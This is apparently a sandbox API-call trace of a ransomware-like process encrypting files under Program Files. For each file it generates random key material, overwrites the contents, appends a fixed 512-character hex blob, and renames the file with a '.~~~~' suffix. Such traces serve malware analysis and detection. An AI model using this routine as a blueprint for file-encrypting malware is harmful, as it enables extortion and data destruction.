	[0088.626] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.626] CloseHandle (hObject=0x12c) returned 1
	[0088.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39c1e8
	[0088.634] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.~~~~" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl.~~~~")) returned 1
	[0088.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39c1e8 | out: hHeap=0x300000) returned 1
	[0088.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0088.653] GetLastError () returned 0x0
	[0088.659] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394970) returned 1
	[0088.660] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0088.660] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0088.660] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0088.660] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0088.660] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0088.660] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20865051146) returned 1
	[0088.660] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9ea37ad0, dwHighDateTime=0x1d60e1e)) 
	[0088.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0088.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0088.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0088.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4c80
	[0088.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.661] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4c80 | out: hHeap=0x300000) returned 1
	[0088.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.661] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0088.661] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7d10
	[0088.661] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.661] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0088.661] GetLastError () returned 0x0
	[0088.661] GetLastError () returned 0x0
	[0088.661] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0088.662] GetLastError () returned 0x0
	[0088.662] GetLastError () returned 0x0
	[0088.664] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffc5e8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.664] WriteFile (in: hFile=0x12c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x3a18, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x3a18, lpOverlapped=0x0) returned 1
	[0088.665] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0088.665] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.665] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.665] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.665] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.665] CloseHandle (hObject=0x12c) returned 1
	[0088.666] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2801f88
	[0088.666] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll.~~~~" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll.~~~~")) returned 1
	[0088.666] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2801f88 | out: hHeap=0x300000) returned 1
	[0088.666] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0088.666] GetLastError () returned 0x0
	[0088.675] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394970) returned 1
	[0088.676] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0088.676] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0088.676] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0088.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0088.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0088.676] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20866650829) returned 1
	[0088.676] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9ea5dc30, dwHighDateTime=0x1d60e1e)) 
	[0088.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0088.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0088.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0088.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a1e28
	[0088.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0088.677] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a1e28 | out: hHeap=0x300000) returned 1
	[0088.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.677] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0088.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0088.677] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc378
	[0088.677] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.677] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0088.677] GetLastError () returned 0x0
	[0088.678] GetLastError () returned 0x0
	[0088.678] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0088.678] GetLastError () returned 0x0
	[0088.678] GetLastError () returned 0x0
	[0088.800] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffdcc0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.800] WriteFile (in: hFile=0x12c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x2340, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x2340, lpOverlapped=0x0) returned 1
	[0088.800] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0088.800] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.800] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.801] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.801] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.801] CloseHandle (hObject=0x12c) returned 1
	[0088.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0088.801] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif.~~~~")) returned 1
	[0088.865] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.871] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0088.871] GetLastError () returned 0x0
	[0088.871] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x395630) returned 1
	[0088.879] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0088.879] CryptReleaseContext (hProv=0x395630, dwFlags=0x0) returned 1
	[0088.879] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0088.879] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0088.879] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0088.879] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20886949837) returned 1
	[0088.879] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9ec4ce10, dwHighDateTime=0x1d60e1e)) 
	[0088.879] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0088.880] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0088.880] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0088.880] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e5310
	[0088.880] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.880] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e5310 | out: hHeap=0x300000) returned 1
	[0088.880] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.880] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.880] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0088.880] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.880] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0088.880] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.880] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0088.880] GetLastError () returned 0x0
	[0088.880] GetLastError () returned 0x0
	[0088.880] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0088.881] GetLastError () returned 0x0
	[0088.887] GetLastError () returned 0x0
	[0088.895] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffe261, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.895] WriteFile (in: hFile=0x12c, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x1d9f, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0x1d9f, lpOverlapped=0x0) returned 1
	[0088.895] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0088.895] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.895] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.896] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.896] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.896] CloseHandle (hObject=0x12c) returned 1
	[0088.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0088.896] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif.~~~~")) returned 1
	[0088.917] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.917] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0088.924] GetLastError () returned 0x0
	[0088.925] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394970) returned 1
	[0088.926] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0088.926] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0088.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0088.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0088.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0088.926] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20891597261) returned 1
	[0088.926] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9ecbf230, dwHighDateTime=0x1d60e1e)) 
	[0088.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0088.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0088.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0088.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e5498
	[0088.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e5498 | out: hHeap=0x300000) returned 1
	[0088.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0088.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c67a8
	[0088.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.926] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0088.927] GetLastError () returned 0x0
	[0088.927] GetLastError () returned 0x0
	[0088.927] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0088.927] GetLastError () returned 0x0
	[0088.927] GetLastError () returned 0x0
	[0088.931] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffec68, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.931] WriteFile (in: hFile=0x12c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1398, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x1398, lpOverlapped=0x0) returned 1
	[0088.932] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0088.932] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.932] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.932] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.932] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.932] CloseHandle (hObject=0x12c) returned 1
	[0088.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0088.933] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif.~~~~")) returned 1
	[0088.934] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.934] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0088.934] GetLastError () returned 0x0
	[0088.935] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394970) returned 1
	[0088.936] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0088.936] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0088.936] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0088.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0088.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0088.936] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20892658919) returned 1
	[0088.937] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9ece5390, dwHighDateTime=0x1d60e1e)) 
	[0088.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0088.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0088.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0088.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e54d0
	[0088.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0088.937] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e54d0 | out: hHeap=0x300000) returned 1
	[0088.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.937] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0088.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0088.937] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7720
	[0088.937] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.937] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0088.937] GetLastError () returned 0x0
	[0088.938] GetLastError () returned 0x0
	[0088.938] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0088.938] GetLastError () returned 0x0
	[0088.938] GetLastError () returned 0x0
	[0088.940] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffeeda, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.940] WriteFile (in: hFile=0x12c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1126, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x1126, lpOverlapped=0x0) returned 1
	[0088.941] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0088.941] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.941] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
